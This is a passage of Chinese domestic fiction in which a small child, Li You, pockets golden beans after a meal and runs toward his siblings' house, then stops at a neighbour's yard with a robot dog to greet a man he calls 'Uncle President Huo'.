黎冬偏开头颤着肩膀笑。
小的想要金豆豆,老的想给金豆豆,她这个中间的也只能睁一只眼闭一只眼放放水咯。
吃了饱饭,心满意足地将两颗金豆豆收进口袋,黎右噔噔噔地跑出去找哥哥姐姐玩儿,管家李伯让黎冬休息,他将黎右送过去,拿上黎右的小水壶跟了出去。
黎右两条小腿蹬得飞快,他还分不清左右,只记得妈妈说的出门后向拿勺子小手这边拐,第二家就是哥哥姐姐家。
路过第一家时他停下脚步,一只银色机器狗正哒哒哒地往院子里走,这一家院子里种着一棵高高大大的树,树下男人背影挺拔,十分眼熟。
身子一扭黎右跑了进去,往前蹦了一下刹住脚步,热情地喊人:“霍总叔叔!”